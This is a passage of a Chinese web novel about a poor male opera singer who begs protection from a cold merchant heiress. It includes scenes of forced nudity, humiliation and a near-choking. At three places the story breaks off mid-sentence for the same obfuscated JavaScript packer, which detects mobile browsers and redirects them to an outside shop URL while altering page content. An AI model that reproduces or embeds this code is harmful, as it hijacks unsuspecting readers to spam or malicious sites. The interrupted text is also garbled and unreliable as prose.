穆念白抬脚,用鞋尖抵着崔棠小巧精致的下巴,顺着他的喉结一路向下。 唱戏多年的功夫,让崔棠雪白的胸膛变得饱满又柔软,一点红梅,卧在白雪上。 穆念白没有怜花惜玉的心思,用鞋尖一碾,崔棠死死抿着嘴,绷紧脊背,一阵颤抖。 穆念白轻笑,踢了踢他亵裤正中的空当处,语气慵懒:“谁教给你穿着衣服来勾引人的?” 崔棠的脸上先是一白,然后蒸腾起大片的红晕,他脊背上都沁出一层薄汗,他有些慌乱的抬头,惶然地问:“这个也要脱吗?” 穆念白慵懒的坐回去,倚着椅背,垂眸低声冷笑:“你可以不脱。” 崔棠环顾四周,侍奉的仆妇们静立四周,眼观鼻鼻观心,哑巴一样一点不言语。 他又看向穆念白,见穆念白神情冷淡,并没有让仆妇门退出去的意思。 崔棠难堪得想哭,哽咽着用指尖挑开亵裤系带,小小一块布料跌落在地上,崔棠死死咬着手背,努力不让自己看起来太难看。 穆念白却只是面无表情的看着他腿间的春光,平淡的眼中甚至没有泛起一丝波澜。 她看了一会,似乎觉得有些无趣,甚至转过头去,拨弄起桌上的算盘来了。 崔棠更想哭了。 穆念白听着脚下细碎的哭声,有些不耐的反问:“崔棠,你觉得我很缺男人吗?” 她挑剔地打量着崔棠,像在打量一件精美的瓷器,穆念白冷笑着:“尤其是你这种货色的男人。” 崔棠羞愧欲死,自己不知廉耻,脱光了巴巴的送上门来,却被穆念白贬的一无是处,若是正经人家的男子,早就一头撞死了。 穆念白继续冷漠地点评着他:“我走南闯北这些年,长的短的,大的小的,穿珠的挂铃铛的,什么雅的俗的没见过,你要勾引我,总得拿出点过人的本事来才行。” 一番话说的崔棠又羞又气,这些话穆念白怎么能对着他一个干净清白不经人事的男子说? 可再多的委屈,崔棠也不能露出来,他赤条条的跪着,上前几步,攀着穆念白的膝盖哀求。 “三小姐,奴自知蒲柳之姿入不得三小姐的眼,但求三小姐怜悯,给奴一条生路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282209|151881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不要让奴流落到刘卿文的手中。” 穆念白抬头瞥他一眼,问他:“刘卿文能带给我银子,你能带给我什么?” 崔棠难堪的低下头,他已经失去了他引以为傲的资本,他不知道在穆念白眼中,自己到底算什么东西。 他勉强定了定神,用手背抹去眼角咸湿的泪痕,一边抽噎一边故作坚强的承诺。 “只要三小姐肯可怜奴,不管三小姐想要多少银子,奴都想办法给三小姐挣回来。” 穆念白不为所动,“挣?你拿什么什么挣?” “你这张脸,你这身皮,就算夜夜笙歌,又能值几个钱?” 崔棠难堪极了,躲开她的目光,狼狈地低下头去,只露一截雪白的脖颈在穆念白眼前。 穆念白捏着他的下巴,强迫他抬起头,她伸手抚上崔棠的脸颊,用拇指揉搓着他柔软的,被泪水浸湿的皮肉。 这只雪白的小鸟浑身都湿漉漉的,低着头跪在她脚边,落汤鸡一样失魂落魄。 穆念白在心中轻笑。 和刘卿文的生意谈不成其实正遂了她的愿,几万两银子对她也不是什么要紧的数目。 只是这只小鸟总是自作主张,偏偏又每次都撞在自己的枪口上,她心中实在有些气恼,于是想给这只愚蠢莽撞又胆大妄为的小鸟一点教训。 穆念白加重手上的力气,崔棠白玉无瑕的脸上染上一道通红的指痕,崔棠吃痛,却不敢动作,只能微微蹙起眉,低声哀求:“三小姐...奴不敢了...求您放了奴吧。” 他见穆念白始终无动于衷,终于绝望地恸哭起来,语无伦次的哀求。 “三小姐...是奴用错了心思,奴不该耍心机坏您好事,不该跪在外面用名声胁迫您...奴千错万错,求您大发慈悲放过奴,求您放奴回去...” 他哭得泪眼朦胧,急促的喘息让他一阵阵发昏,眼前只余一片惨白。 可饶是如此,他似乎还是能感觉到穆念白的眼神,仍旧像一柄锋锐逼人的铁器,闪烁着凛凛寒光,要将自己刺穿。 昨晚喝的药已经没了作用,他又感受到一阵阵寒风,刀子一样忘血肉里钻,身上的伤口也开始隐隐作痛,崔棠眼前一阵眩晕。 他苍白的脸颊烧得通红,崔棠难受极了,不过是顶着一口气,不让自己像狗一样倒在穆念白脚下罢了。 崔棠带着哭腔小声呢喃:“若三小姐实在生气,奴去刘卿文那便是...奴再也不敢给三小姐惹麻烦了...” 穆念白直起身,收起眼中的戏谑与玩味,开始认真的上下打量崔棠。 一个愚蠢的小东西。 但胜在足够漂亮,不管是玉一样无暇的肌肤,含羞带怯的含情目,还是纤细高挑的骨骼,与紧紧裹在骨骼上的,那一层纤薄紧实的血肉,都漂亮得不像话。 对一个男人来说,漂亮就已经够用了。 穆念白在心中暗自给崔棠估价,漂亮,会唱,身段也好,床榻上的功夫虽没试过,但看着也不差。有点心机,也有点手段,肯弯腰也肯低头,更舍得豁出命去给自己挣个前程。 ——他至少会是个好用的人。 但他到底能做到哪一步呢? 穆念白心中微动,抬眸看向崔棠,忽然改变了主意。 崔棠哭得几乎要断过气去,穆念白一直在用没有温度的眼睛盯着他看,她的眼神箭矢一样,钉在他的身体里,狠狠搅弄着他的血肉。 崔棠大口喘着气,跪在地上,像朵枯萎萎靡的花,他双手攀着穆念白的裙摆,因为恐惧浑身颤抖,他眼中盛满水光,最后一次向穆念白哀求。 “三小姐,奴错了,求您放奴回去...奴不敢再求您,您不愿原谅奴,奴去刘卿文那受死便是...” 穆念白忽然抬起头,噙着笑问他:“听说你很会唱戏?” 崔棠一愣,以为峰回路转,自己终于迎来的转机,他双眼一亮,膝行几步向前,滚烫的胸膛紧紧贴着穆念白的小腿,他忙不迭的点着头。 “是,是,奴会唱戏...宝家班没有人能唱的过奴的!” 穆念白轻笑一声。 “那就唱吧。” “唱到我满意为止。” 7. 晕倒的小外室 “唱到我满意为止。” 崔棠仔细咀嚼着这句话其中的深意,要唱到什么程度,才能让挑剔的穆念白的同意呢? 穆念白让嘉禾沏上一壶香茶,一边闲适地品茶,一边好整以暇的观赏着向晚,那张苍白俊俏的小脸上闪烁过许多情绪,穆念白笑笑,轻声催促。 “我没有那么多时间耗在你身上,想好怎么唱了吗?” 崔棠艰难地乘着膝盖,挣扎着从地上爬起来,他深吸一口气,压下心中的恐惧与惶然,他不知道穆念白想干什么,但是即使这是她用来羞辱自己的心手段,他也得抓住这唯一的机会。 他胡乱的搓着脸,用手背擦去脸上的泪痕,他仍然不着寸缕,却不见方才的窘迫与难堪,崔棠缓缓闭上眼睛,想象自己是高台之上身着锦绣,雍容华贵的贵君。 崔棠分脚而立,将每一寸肌肤都大方的展现在穆念白眼前,他使劲吸了吸鼻子,抿着嘴,笑得优雅又含蓄,双手虚虚扶在腰侧,只当作是扶在玉腰带上,他侧身低头,将半张脸藏到烛光照不到的阴影下。 崔棠清了清嗓子,再开口时,却已经拿起了贵君的腔调。 婉转俏丽的歌声包围着穆念白,像一段柔软的丝绸,轻轻的从她耳中滑过。 崔棠从卧鱼前起唱,唱至卧鱼处,他扮作不胜酒力的样子,伸张着修长的双臂,不停交错双腿,仙子散花一样旋转起来,明灭摇曳的烛光洒在他皎白的肌肤上,衬得他瓷偶一样纤细精巧。 崔棠背朝穆念白,稳稳蹲下,而后将柔软腰肢缓缓向后弯折,一张粉红娇艳的脸出水芙蓉一样缓缓呈现在穆念白眼前,穆念白看着那张脸,不知为何,忽然有种心脏漏跳一拍的错觉。 崔棠还没有唱完,卧完鱼拈完花,他扮作一副朦胧醉态,双手掐着腰,轻移连步,又娇怯又嗔恼地行至穆念白身前,黄莺一样,咿咿呀呀地唱着,崔棠挑起眉梢,一边用风情万种的眼睛上下打量穆念白,一边慢慢弯下腰,张嘴叼住穆念白手中茶杯。 肌肤相贴,穆念白隔着衣衫,感觉仿佛有一团火在身上跳跃着。 崔棠咬着茶杯,抬眸,小心翼翼地观察穆念白的神色,穆念白神色如常,只垂眸平静的看着他。 崔棠抿嘴一笑,咬住茶杯直起腰,掐着腰向后仰倒,清亮的茶水顺着他身上漂亮的曲线流淌下来,穆念白静静看着不作声,却向嘉禾使了个眼色,让她去将屋中的灯盏都点上。 琉璃灯柔和的光芒将崔棠瓷白的身躯包裹起来,穆念白只看见他身上,一片雪白的皮肉,粼粼水光顺着腹股间的沟壑向下流淌。 一曲《贵君醉酒》唱罢,崔棠气息微喘,踉跄几步站定躬身向穆念白请罪:“这出戏,前日就该唱给三小姐听,全因奴的过失,才坏了三小姐的好事,今日奴将它唱完,还望三小姐指点奴。” 穆念白面色如常,只是捂着嘴咳嗽了几声,她语气平静地点评道:“确实胜过谭秋童许多。” “但只有这些,还不足以让我出面,在刘卿文面前保下你。” 崔棠急忙跪倒,忙不迭地请求:“若三小姐愿听,奴还会唱许多,生旦净丑,奴都能唱的!” 穆念白轻笑:“那就唱吧。” 他几乎一天水米未进,跪了许久,腿脚也酸胀肿痛,方才勉强唱完一曲,崔棠胸腔里已经火烤一样痛苦难耐,可听了穆念白的话,他只有顶起一口气,扯着嗓子,掐起腰,继续唱起来。 “他教我,收余恨,免娇嗔,且自新,改性情,休恋逝水,苦海回身,早悟兰因...” 这是骤逢惊变,只念世事无常、人情冷暖的薛湘灵。 “苏三离了洪洞县,将身来到大街前。未曾开言我心内惨...” 这是蒙冤受辱的玉堂春。 崔棠唱着,竟渐渐意识恍惚,分不清他唱的,究竟是戏中人,还是孤苦伶仃,形影相吊的自己? 一行泪顺着他的脸颊,无声地滑下来,他分明还在笑着,眼中却全是悲戚。腥甜的味道涌上他的咽喉,他快要把嗓子唱破了,可他恍若不知,伤口的刺痛,关节的酸肿,甚至逐渐蔓延全身的高热,他仿佛都感觉不到了。 他只是执拗地唱着他自己。 隔窗漏下一线月光,已近夤夜,崔棠已经不眠不休地唱了两个时辰了,纵是见多识广如穆念白,也不得不惊诧于他的执着与坚持。 穆念白几乎是错愕地看着崔棠,他如入无人之境一般,用喑哑的嗓子,声声泣血的唱着让人肝肠寸断的词曲,穆念白都几乎要为之倾倒。 门房处有急信来报,嘉禾步履匆匆,将穆念白的心神短暂的从崔棠身上移走。 夤夜传信,必是紧要的机密,却不能叫崔棠听见。穆念白看着摇摇欲坠的崔棠,犹豫片刻,终究还是将崔棠舍下,披上大氅,抬脚要去屋外。 嘉禾将宋好文的密信传来的密信递到她手上:“宋好文的消息,说沈王将遣麾下左翎卫大将军叶问道南下,购粮食兵马已供军需。” 穆念白揉着眉心,随口道:“这是个好机会,派人出去,在她进扬州城前和她搭上线...” 穆念白还想在吩咐几句,却隔着窗棂,听见屋内哀婉凄清的歌声渐止,取而代之的,是一声沉闷的闷响。 穆念白一愣,当即下意识的大步跨进屋内。 崔棠蜷缩着昏倒在地上,额头磕在桌角上,殷红鲜血正顺着他苍白的脸颊淋漓不断地往下淌,穆念白心中一惊,垫着他的脖子将他揽起来抱在怀中,她仿佛是抱了一块烧的通红的碳。 崔棠烧得浑身滚烫,失血的脸上都浮上一层吓人的潮红。 穆念白忽然有点懊悔,今天似乎玩过头了。 穆念白将赤身裸体的崔棠抱到自己榻上,起身吩咐嘉禾去请大夫,不想却被昏迷不醒的崔棠勾住了尾指。 崔棠将自己赤裸的身体蜷缩成巴掌大的一团,即使在昏迷中,他也在因为恐惧发抖,他却执着的伸出一只手,用尾指紧紧勾住穆念白的指尖,不让她走。 崔棠牙齿打颤,因为高热,他开始颤巍巍的说些语无伦次的胡话。 “不要走...求求你,不要走...” “不要留我一个人...” “阿娘...别走...” 穆念白沉默地听完了他的胡话,却反常的没有甩开他的手,而是反手握住他的手,轻柔地摩挲起来。 她低下头,捏着崔棠的下巴,垂眸近乎温柔地看着那张被冷汗浸湿的脸。 穆念白眼中涌现出一种莫名的光彩,声音轻而温柔:“原来你也没有阿娘吗?” ...... 崔棠罕见的一夜好眠,他几乎都要忘了昏睡前发生了什么了,他只记得睡梦之中,一只有人轻轻握着他的手,像母亲抚摸婴孩一样温柔地抚摸着自己。 那只手宽厚有力,掌心起了厚厚到底茧子,粗粝的皮肤摩擦着他的肌肤,却让他没有理由的安心。 于是崔棠努力睁开眼,想要看一看那只手的主人。 穆念白那张冷峻漠然的脸骤然出现在他的眼前。 崔棠吓了一跳,受惊的兔子一样红着眼睛,蹭着床单缩到了床脚,他惊恐地看着穆念白那双无情冷漠的眼睛,不假思索的跪倒,带着哭腔,下意识地认错。 “三小姐,奴错了,奴再也不敢了...” 那只娇嫩柔软的手鱼一样从她手中逃走了,穆念白轻轻搓捻指腹,感受着残留的触感。她看着抖做一团的崔棠,有些无奈。 “真是好心当了驴肝肺。” “崔棠,你睁开眼睛看看,你躺在谁的床上。” 崔棠这才恍然发现自己正躺在一张宽敞舒适的雕花黄花梨大床上,身下铺的也不是潮湿腐朽的茅草,而是柔软温暖的绸缎锦被,两侧挂着鲛纱的床帐,微风吹拂,轻薄的床帐会像晨雾一样浮动。 如果他不是在梦里,那就是在... 崔棠观察着穆念白的神色,忖度着她的心情,攥着被子一角,低下头,小心翼翼的往杯子里瞅。 身上干干净净的,没有欢好过的痕迹,倒是大大小小的伤口都涂上了药膏,被妥善的包扎了起来。 崔棠说不上自己是高兴还是失望,只觉得心中空落落的。 穆念白 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“即使这样,你也要留在我身边吗?” 崔棠陷入了长久的沉默。 穆念白当然很可怕,她无情又冷漠,她甚至对自己引以为傲的姿容无动于衷,她是个彻头彻尾的商人,会像品评货物一样品评他的价值。 崔棠不敢想象若是有一天自己变成了一无是处的废物,穆念白会用多么残忍的手段处置他。 但他同样不敢想象,家里钉在墙上的那件血衣,和刘卿文那蛇一样阴冷滑腻的目光。 崔棠钻出被子,在床榻上跪好,乖巧的向穆念白低头。 “只要三小姐不嫌弃奴粗陋鄙薄,奴愿意侍奉三小姐左右,为奴为婢也甘心。” 穆念白轻笑一声,拍了拍他的脸颊,“你这样的姿容,这样的好嗓子,为奴为婢,才是真正的暴殄天物。” 嘉禾将煎好的药端了过来,不用穆念白动手,崔棠自觉接过,捏着鼻子,一口气将苦涩的药汤尽数喝进肚中,穆念白有些诧异:“你倒不觉得苦。” 说来也真是奇怪,他身上那么多伤痕,又生了这样重的病,竟没听见他叫过一声苦。 崔棠自嘲一样,勉强笑了笑。 “生了病有药吃是件好事,奴怎么会觉得苦呢?” 他抬眸,不动声色的观察着穆念白的神情,终于在她眼中捉住一闪而过的不忍,于是他落寞的低下头,抱着膝盖,拖着厚重的鼻音,有些委屈道:“何况从小到大,奴吃过的苦头,比这药苦上太多。” 穆念白看着矫做的动作便知道这小鸟又在演戏,她微微一笑,起身冷淡地吩咐:“不苦就多吃点,嘉禾,再给煎一碗来。” 这下崔棠终于老实了,再不敢卖弄自己的小聪明,静悄悄的跪坐着,穆念白也不再理会他,坐在床边,自顾自的翻起账本来,崔棠光着身子坐了一会,有些冷,只好委屈地问穆念白:“三小姐,奴的衣服呢?” 穆念白头也不抬:“那条破布?我扔了,你睡着的时候叫了裁缝来,新衣服下午就能送来。” 崔棠有些委屈:“那奴现在穿什么呀?” 穆念白随手扔给他一件自己的旧衣,看着他躲躲藏藏的穿衣服,不由得轻笑:“瞧你昨晚的样子,我还以为你生性不喜欢穿衣服呢。” 崔棠动作一顿,一抹绯红,从颈间开始,一路蔓延到脸颊上。 崔棠低着头,用绸缎一样的长发遮住羞红的脸颊,他小声为自己辩解:“昨晚...奴有求于三小姐,自然要将奴仅有的东西都奉献到三小姐眼前。” 穆念白哦一声,拨弄着他的长发调笑:“如今我既许了你,我就给你个机会。” “崔棠,你想求什么?” 求她原谅自己,求她庇护自己,求她施舍一分善心。 崔棠认真的想了一会,下床跪倒在穆念白脚下,贴着她的小腿,仰着头,楚楚可怜的瞧着她。 “奴想求三小姐...” “赏奴十两银子。” 8. 装乖的小外室 十两银子。 穆念白面无表情地盯着他那张实在美丽的脸,上下打量了他半天,不像在看人,却像在看某种新奇的小动物,她实在不明白这只小鸟针尖大小的脑袋里在想什么,她心中甚至升起几分气馁。 穆念白有些无语:“你演这么一出大戏,就为了十两银子?” 十两,她从指缝里漏点都不止这个数。 崔棠知道自己被穆念白笑话了,他垂下头,双手搅在一起,闷闷不乐地为自己分辨:“其实不用十两的,奴自己已经凑了五两,三小姐再赏奴五两就够了。” 穆念白叹了口气,不再和他计较数目,转而问起缘由:“你总不会无缘无故要这十两银子,遇见什么事了?” 崔棠吸了吸鼻子,红着眼睛将崔棣的事说了。 “奴还有一个妹妹,在学堂不慎将别人打伤了,人家要十两银子做医药费,否则就要打断她的手。” 崔棠忽然想到崔棣似乎就是在穆家办的学堂里上学,打伤打断那个大小姐好像也姓穆来着... 崔棠自觉噤声,抬着一双春泓一样俏生生的眼睛,小心翼翼的瞧着穆念白,穆念白看着他,不由得疑道:“怎么不说了?” 崔棠轻轻将自己小巧的下巴搁在穆念白的大腿上,主动将自己蔷薇一样柔软娇嫩的脸颊放在穆念白掌心下蹭来蹭去,一边殷勤地给穆念白捏着腿,一边小声又讨好地央求:“三小姐,奴若是说了,您不许生气。” 穆念白挑眉看着他,这才多久,就开始命令自己了? 崔棠却在心底暗自忖度着,都说穆念白与穆家本家不睦,往日也未曾听崔棣提起与穆念白有关的事情,想来是学堂里的小打小闹还入不得穆念白的眼,那...他是不是可以借这个机会,给崔棣狠狠出一口恶气? 崔棠眼波流转,趴在穆念白腿上,添油加醋的向穆念白诉苦。 “三小姐,奴知道是我妹妹气性大,脾气急,可是那些学生嘴上实在没个把门的,什么脏的烂的都往外说,还是她们动手在先,奴的妹妹不过是无奈反击,下手失了轻重才将穆小姐打伤的,事后奴的妹妹已经向她赔罪了,奴的妹妹绝没有伤人的心思呀!” 穆念白听了这话,长眉紧锁,捻着崔棠的长发沉吟:“这么说来,竟是穆家的学堂不依不挠,还想私设刑堂对你妹妹动肉刑?” 崔棠很乖巧的点着头。 穆念白嗤笑一声,讥讽道:“穆家这些老东西真是越活越回去了,连个学堂都管不好。” 崔棠听着她的语气,心中有些窃喜,眯着眼睛笑起来,却不想穆念白又低头意味深长的看他一眼,而后传来嘉禾,笑眯眯的看着崔棠吩咐道:“去那边问问,是不是和他说的一样。” 崔棠脸上的笑容凝固了,他心虚的低下头,装作认真的给穆念白捏腿。 穆念白捏起他的下巴,让他抬起头,穆念白轻轻抚摸着他的脸颊,轻声告诫他:“崔棠,我知道你有很多小聪明,但这些小聪明永远不要用到我面前。” 微凉的指尖顺着下颚的弧线下滑,在崔棠凸起的喉结上方停顿,穆念白用手掌拢住崔棠纤细易折的脖颈,警告一般缓缓收紧,崔棠雪白的脸颊因为窒息涨的通红,眼眸中也蒙上一层盈盈的水光,他努力掰着穆念白的手指,哀求一样向穆念白摇着头。 穆念白低头,在他耳侧沉声警告:“永远不要试图骗我。” 崔棠忙不迭的点着头,穆念白这才缓缓松开手,揉搓着他的后颈轻声问:“疼吗?” 崔棠不敢动作,只好带点委屈的点头,穆念白轻轻笑着,随口道:“一会给你买点糖,吃了就不疼了。” 穆家本宅早已经被穆念白渗透得筛子一样了,嘉禾去了不过片刻就将学堂里的事调查清楚了,她一边一板一眼的跟穆念白禀报,一边有些新奇的看着一向不近男色的穆念白任由那个满嘴谎话的男人鸟儿一样趴在自己膝头。 “...确实是穆清河出言不逊,污蔑崔棠卖身求荣在先,但是是崔棣气不过先动的手,将穆清河的手打折了还不知悔改,口出狂言,穆家几位族老本就觉得放崔棣进学堂有辱门楣,如今正好借机生事,想敲崔家兄妹一笔后再将崔棣逐出学堂。” 穆念白一边听一边拿凌厉的眼神睇崔棠,崔棠抿着嘴,哆哆嗦嗦的,小鹌鹑一样缩成一团躲开穆念 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282211|151881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白的目光。 崔棠牙关打颤,一双柔软洁白的手不停的揉着穆念白的膝盖,他眨着眼睛,小狗一样可怜巴巴的望着穆念白,小声求饶:“三小姐,这次是奴不对,以后奴再也不敢骗您了。” 穆念白听清原委,淡淡瞥他一眼,见他扶着膝盖,跪得歪歪斜斜,皱了皱眉,先命令他:“地上凉,先起来。” 穆念白拍了拍身侧,示意崔棠坐过来,崔棠不敢妄为,只虚虚挨着床沿,坐得端庄笔直,看上去乖顺得很。穆念白看在眼里,心觉好笑,一边拉长声音将崔棠一颗心吊着,七上八下地乱蹦,一边漫不经心道:“你骗我,我原本是该好好给你个教训的,可你妹妹打的既是穆清河,坏的又是穆家的名声,也算是为民除害,功过相抵,这次就暂且放过你。” 她叫来嘉禾,冷着脸吩咐:“去告诉那些老东西,把崔棣全须全尾的放出来,若她们连学堂这么点地方都管不好,就给我乖乖夹着尾巴滚到大街上等着饿死。” 穆念白的愠恼不似作伪,崔棠心中疑惑,歪着头,不解地看着她:“三小姐,您...很讨厌穆家的人吗?” 穆念白噙着一抹冷笑:“讨厌?她们还不值得我讨厌。” 崔棠压下心底万般思绪——看来传言属实,穆念白与穆家本家确实不睦,以后自己不必与穆家走的太近,也不必刻意讨好穆家的长辈,只要一心逢迎穆念白便是了。 穆念白的不快转瞬即逝,不消片刻,她已经整理好情绪,甚至颇为闲适的亲手喂崔棠喝下一碗安神汤。 崔棠一边就着穆念白的手喝药,一边悄悄吐着舌头,这安神汤有些烫,偏偏穆念白不觉得,一个劲的喂给他喝。 他有些幽怨地盯着穆念白,穆念白感受到他的目光,抬起头,拍了拍他的脸颊,吩咐道:“喝了药好好休息,下午跟我去一趟宝家班。” “去把你的卖身契赎回来。” 浓稠的药汁入口,苦涩的味道在舌尖如涟漪一样化开,崔棠却浑然不知一般,他抿了抿嘴唇,在心底暗自下定了决心。 他是应该回一趟吃人的宝家班。 有些账,是得好好的算一算了。 9. 报仇的小外室 下午裁缝就按照穆念白的吩咐,将赶制好的衣裳送来了。 用的都是上好的料子,崔棠不知道那些湖水一样在阳光泛起粼粼波光的丝绸叫什么名字,在今天之前,他只在来听戏的贵人们身上见过这样华美惊人的衣裳,如今他摸着这些顺滑光亮的绸缎,只觉得仿佛有一段段美丽的幻梦,从自己指缝间悄悄溜走了。 这些衣衫不仅用料讲究,样式也是如今扬州城里最时髦的。 绣工们不休不眠,险些熬瞎了眼睛,才在这些天水碧的丝绸上留下一枝枝含苞待放的海棠,藕粉的海棠半掩娇靥,寒香缭绕,更添一分妩媚。 穆念白在一旁解释:“不知道你喜欢什么花样,只是觉得这海棠微雨,与你的名字最相衬。” 崔棠捧着这件衣裳,像捧着一件稀世的珍宝。在此之前,他从未想象过,原来自己这个普通甚至卑贱的名字竟然也能和这样婉约悱恻的景象扯上关系,他爱惜地抚摸着柔滑丝绸之上的绣样。 针脚平整又密实,午后日影倾斜,阳光穿过窗棂洒下来,在这些海棠花枝上晕开七彩的虹光。 崔棠有些不敢置信地看着穆念白,反复地问:“这些,真的都是送给奴的吗?” 他也在宝家班见过被豪商豢养着的戏子,可是哪一个能有这样一身豪横的行头? 崔棠一边在心里唾弃自己的廉价,居然就这么被几件衣服收买了,一边又在心里悄悄为自己开脱,这几件衣服好像一点都不廉价。 穆念白却被他问的有些不耐,抓起碧色长衫往崔棠身上比划:“穿上试试。” 量体裁衣,自然是严丝合缝,只是崔棠却不敢细想是谁给自己量的体,一想就要面红耳赤。 他没穿过这么奢华的衣服,一时被衣襟上那些弯弯绕绕的系带和小巧精致的金扣子弄得眼花缭乱,崔棠害怕在穆念白面前露怯,一边小心翼翼地打量穆念白的神情,一边暗自和自己较劲,不系上领口的那颗小扣子不罢休。 穆念白看得好笑,随手将那粒扣子帮他系上了,崔棠红着脸低着头,看着穆念白修长骨感的手指上下翻飞,不消片刻就把自己穿好了这身构造复杂的衣服。 崔棠一边在心里感激穆念白的贴心,一边心里不是滋味。 看她动作娴熟的样子,不知道给多少个男人这样系过扣子,整理过衣衫了。 穆念白在他身上拍拍打打,推着他来到铜镜前,拉着他的手让他自己转了个圈。 崔棠看着铜镜里崭新的自己,伸着手指新奇的在镜子上点来点去。合身舒适的衣服将他严丝合缝的裹了起来,身上一寸肌肤都不露,只有举手投足间,会从宽大的袖口里透出几寸无暇的白瓷来。 穿着这一身衣裳,他不像宝家班身如浮萍的戏子,倒像个金尊玉贵,粉雕玉琢的小少爷。 穆念白满意地点了点头,从崔棠身后伸手捏了捏他的脸颊,问:“喜欢吗?” 崔棠小鸡啄米一样点着头,他见过被豪商豢养的戏子,他们为了迎合主人的癖好,穿的衣服总是裸露又艳俗。穆念白愿意在穿衣这种小事上尊重他,崔棠心中有十分的感激。 穆念白却捧着他的下巴,盯着铜镜中模糊绰约的身形仔细观察,片刻后,她从自己的妆奁中挑出一块月牙形状的玉坠,戴到崔棠颈间,翠绿的月牙卧在崔棠雪白的颈窝间,将他的脖颈衬得更加纤细修长。 穆念白这才放开他,夸道:“你皮肤白,戴翠色很相宜。” 崔棠抿着嘴笑,将穆念白的话一字不漏的记在心里,暗自决定等以后有钱了把家里那些破铜烂铁的小首饰都换成翡翠的。 穆念白正在吩咐嘉禾备车,她转过头来问崔棠:“你的脚怎么样了,能走了吗?” 崔棠悄悄活动了下脚,有些痛,但能忍。他转了转墨色的眼珠,脸颊微红,有些为难地看着穆念白:“多谢三小姐挂怀,是奴无用,如今自己走还是有些吃力...” 穆念白盯着他的右脚看了一会,轻声一笑,伸出手,示意崔棠搭着自己胳膊一起走。 崔棠将手虚虚扶在穆念白结实有力的手臂上,乖巧的跟在她身后,亦步亦趋的向前。 他不知道穆念白平时用的什么熏香,只觉始终有一股雪后青松一样的冷香,似有似无的萦绕在他的鼻尖,搅得他心猿意马,连穆念白停下脚步都未曾发现,一头撞在穆念白宽阔的脊背上。 崔棠揉着鼻尖抬起头,却看见穆念白似笑非笑的眼神,穆念白上下打量着他:“你伤的不是右脚吗,怎么如今瘸的却是左脚?” 崔棠被她抓住马脚,霎时羞红了脸,他紧张的将两只脚都缩进衣摆中,低着头小声狡辩:“左脚,左脚也疼...” 穆念白揭穿了他,却并不生气,仍旧伸手撑着他的身子,轻笑:“想扶就扶吧,何必耍这些小心机。” 崔棠试探着伸出手捉住穆念白手臂,穆念白噙着笑,心情颇好地看着他的这些小动作。见穆念白并不排斥,崔棠便愈发大胆妄为起来,紧紧握着穆念白的小臂,紧紧贴在她的身后,踩着她的脚印往前走。 马车也是崔棠没见过的新奇东西,他被穆念白扶着坐好,像到了新领地的小鸟一样上上下下的打量着,穆念白一边看一边笑,轻轻咳嗽几声,将崔棠的心神拉回来。 “笑得这么开心,看来是把前几日的事忘得一干二净了。” 崔棠一张俏脸上立马不见了笑意,神色黯淡的低下头,小脑袋跟着踏踏的马蹄声一点一点。 穆念白撩起珠帘,看向街上熙熙攘攘的人群,就快到鼎香楼了。 “想明白是谁害的你了吗?” 崔棠心乱如麻的想了一会,如今再回忆这件事,他只觉得有一个人处处都透着处心积虑的味道。 崔棠笃定道:“一定是梅卿。” 穆念白赞许的点了点头:“总算不是太笨。” 崔棠俏生生的脸颊因为愠恼浮上一层薄红,他义愤填膺地骂着梅卿:“我和他无冤无仇的,他这个贱人,为什么要栽赃陷害我!” 这只小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282212|151881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸟难得在自己眼前露出暴躁市侩的一面,穆念白一边新奇的看着,一边慵懒的给崔棠解释:“不是他要栽赃陷害你,是你那点心机不够用,看见那么大一张网,还要呆呆傻傻的往上面撞。” “他并非是针对你,谁对他的那番说辞心动,那口黑锅就要扣到谁头上罢了。” 崔棠咬着嘴唇,说到底还是自己太傻,看不出这样简陋的陷阱。不过,崔棠抬起头,定定的看着穆念白,如今自己有了穆念白做依仗,总能,总能报仇雪恨一次吧? 穆念白仿佛看出他在想什么一样,叹了口气,伸手扶他下车。 “未必像你想的那般顺遂。” 鼎香楼前却已经停了一架乌篷的马车,马车旁还停着一架缀满金银宝石的轿辇,衣着锦绣的轿妇们各个昂首挺胸,高高在上的站着,用鼻孔看人。 几个宝家班的小男孩正畏畏缩缩的跟在几个健壮高大的仆妇身后,帮忙打包衣裳首饰。崔棠眼见,通过红艳艳的衣裳一角认出这些都是梅卿的东西。 崔棠下意识的抓紧了穆念白的胳膊,穆念白冷眼看着这些人蚂蚁一样忙碌着,心中冷笑,果然如此。 